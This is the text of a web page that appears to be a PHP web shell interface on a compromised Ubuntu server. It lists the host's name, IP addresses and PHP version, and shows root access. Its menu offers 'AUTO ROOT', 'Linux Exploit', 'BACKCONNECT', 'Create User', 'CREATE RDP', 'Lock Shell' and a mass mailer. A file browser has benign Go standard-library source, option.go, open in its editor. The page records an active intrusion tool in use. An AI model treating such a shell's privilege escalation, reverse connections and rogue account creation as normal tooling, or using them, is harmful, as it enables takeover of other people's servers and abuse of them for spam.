Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
text /
template /
[ HOME SHELL ]
Name
Size
Permission
Action
parse
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
doc.go
17.18
KB
-rw-r--r--
example_test.go
2.42
KB
-rw-r--r--
examplefiles_test.go
6.11
KB
-rw-r--r--
examplefunc_test.go
1.53
KB
-rw-r--r--
exec.go
29.84
KB
-rw-r--r--
exec_test.go
53.7
KB
-rw-r--r--
funcs.go
19.15
KB
-rw-r--r--
helper.go
4.74
KB
-rw-r--r--
multi_test.go
10.91
KB
-rw-r--r--
option.go
1.97
KB
-rw-r--r--
template.go
6.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : option.go
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // This file contains the code to handle template options. package template import "strings" // missingKeyAction defines how to respond to indexing a map with a key that is not present. type missingKeyAction int const ( mapInvalid missingKeyAction = iota // Return an invalid reflect.Value. mapZeroValue // Return the zero value for the map element. mapError // Error out ) type option struct { missingKey missingKeyAction } // Option sets options for the template. Options are described by // strings, either a simple string or "key=value". There can be at // most one equals sign in an option string. If the option string // is unrecognized or otherwise invalid, Option panics. // // Known options: // // missingkey: Control the behavior during execution if a map is // indexed with a key that is not present in the map. // "missingkey=default" or "missingkey=invalid" // The default behavior: Do nothing and continue execution. // If printed, the result of the index operation is the string // "<no value>". // "missingkey=zero" // The operation returns the zero value for the map type's element. // "missingkey=error" // Execution stops immediately with an error. // func (t *Template) Option(opt ...string) *Template { t.init() for _, s := range opt { t.setOption(s) } return t } func (t *Template) setOption(opt string) { if opt == "" { panic("empty option string") } elems := strings.Split(opt, "=") switch len(elems) { case 2: // key=value switch elems[0] { case "missingkey": switch elems[1] { case "invalid", "default": t.option.missingKey = mapInvalid return case "zero": t.option.missingKey = mapZeroValue return case "error": t.option.missingKey = mapError return } } } panic("unrecognized option: " + opt) }
Close